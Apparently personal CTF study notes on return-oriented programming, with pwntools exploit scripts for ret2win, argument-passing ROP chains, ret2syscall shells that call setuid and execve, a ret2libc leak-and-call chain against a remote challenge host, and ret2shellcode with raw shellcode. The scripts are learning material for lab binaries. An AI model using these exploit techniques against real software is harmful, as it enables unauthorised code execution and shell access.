# ROP

## Ret2Win

> Really bad summary

1. Get offset to override EIP
   1. Can be easily done with `pwn.cyclic`
2. Get address of `win` function&#x20;
   1. Depends whether ASLR is enabled, or else `symbols` from `pwntools` can do the trick
3. Get a gadget via ROPgadget (usually ret)
   1. `ROPgadget --binary x | grep ret`
4. Construct payload
   1. X amount of 'A's to override EIP
   2. addr\_of\_gadget (ret)
   3. addr\_of\_win
5. send and win

Sample Code

```python
from pwn import *

offset = 32 

binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p  = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)

p.sendline(payload)
output = p.recvall()
print(output)
```

ROP chain with arguments

```python
from pwn import * 

offset = 120
bin = ELF('/ESSSSSSADDDDDDDDDDDDDDDDD')


pop_rdi_ret = 0x0000000000402a93
win_addr_1 = bin.symbols['win_stage_1']
win_addr_2 = bin.symbols['win_stage_2']
win_addr_3 = bin.symbols['win_stage_3']
win_addr_4 = bin.symbols['win_stage_4']
win_addr_5 = bin.symbols['win_stage_5']


payload = b"A" * offset
payload += p64(pop_rdi_ret) + p64(1) + p64(win_addr_1)
payload += p64(pop_rdi_ret) + p64(2) + p64(win_addr_2)
payload += p64(pop_rdi_ret) + p64(3) + p64(win_addr_3)
payload += p64(pop_rdi_ret) + p64(4) + p64(win_addr_4)
payload += p64(pop_rdi_ret) + p64(5) + p64(win_addr_5)

p = bin.process()
p.sendline(payload)
p.interactive()

```

&#x20;Visual Representation of the stack

```
Stack Layout After Payload:
---------------------------
+-----------------+
| ...             | <- Padding ("A" * offset)
|                 |
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (1)    |
| Function Address| <- win_addr_1
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (2)    |
| Function Address| <- win_addr_2
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (3)    |
| Function Address| <- win_addr_3
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (4)    |
| Function Address| <- win_addr_4
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (5)    |
| Function Address| <- win_addr_5
+-----------------+
```

## Ret2SysCall

> based on this [article ](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

&#x20;Syscall Strings

* x86 (int 0x80)
* x86\_64 (syscall)

Example : Calling execve with the use of syscalls to obtain a shell

For x64

1. Get ROP gadgets and their addresses
   1. E.g `ROPgadget --binary aasdasd | grep "pop rax; ret"`
2. Setting the registers to the appropriate value

   1. Extracted from[ here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

   | execve | 0x3b | /bin/sh | 0 | 0 |
   | ------ | :--: | ------- | - | - |
3. Crafting the exploit

{% code overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

offset =  80
bin = ELF('/challenge/babyrop_level4.0')

p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')

payload = b'/bin/sh\x00'  
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69) 
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall) 
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b) 
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0) 
payload += p64(pop_rdx) + p64(0) 
payload += p64(syscall) 

p.sendline(payload)
p.interactive()

```

{% endcode %}

Alternatively, if `/bin/sh` is not on the binary, we can use other functions such as `read()` and `gets()` to write to .bss

<pre class="language-python"><code class="lang-python"><strong>#Syscall to READ first
</strong>payload += p64(pop_rax) + p64(0x00) 
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss) 
payload += p64(pop_rdx) + p64(0x8) 
payload += p64(syscall) 
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')

</code></pre>

## Ret2Libc

<pre class="language-python"><code class="lang-python">#!/usr/bin/env python3
<strong>from pwn import *
</strong>
exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72 
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]

payload = b"A" * offset 
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)

p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset

bin_sh = next(libc.search(b"/bin/sh")) 
system = libc.symbols['system'] # getting system() in libc addr

second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls 
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
 

</code></pre>

### Ret2ShellCode

```c
from pwn import *

offset = 40 
target = process('./pilot')
file = ELF('./pilot')
context.binary = ELF('./pilot')

target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1],16) #Leak of the address that is being written to 
shellcode = asm(shellcraft.sh()) #crafting my shellcode, must be below 40 bytes
print(len(shellcode))
# shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05" 
nop_slide = asm('nop') * (offset - len(shellcode)) #nop slide to go to my shellcode
payload = b""
payload += shellcode
payload += b'A' * (offset - len(shellcode)) #serves the same purpose of my shellcode
payload += p64(leak) #goes to the address of the leak thus executing my shell code
target.send(payload)
target.interactive()
```

* Length of shellcode must be below the offset to override EIP/RIP (40 in this case)
* NOP/padding slide is used to ensure that the the execution is smooth![](https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FpugkEft9dkiIjSJ8v59Q%2Fimage.png?alt=media\&token=417b9b39-6e59-47a0-84e5-8f9377a29311)
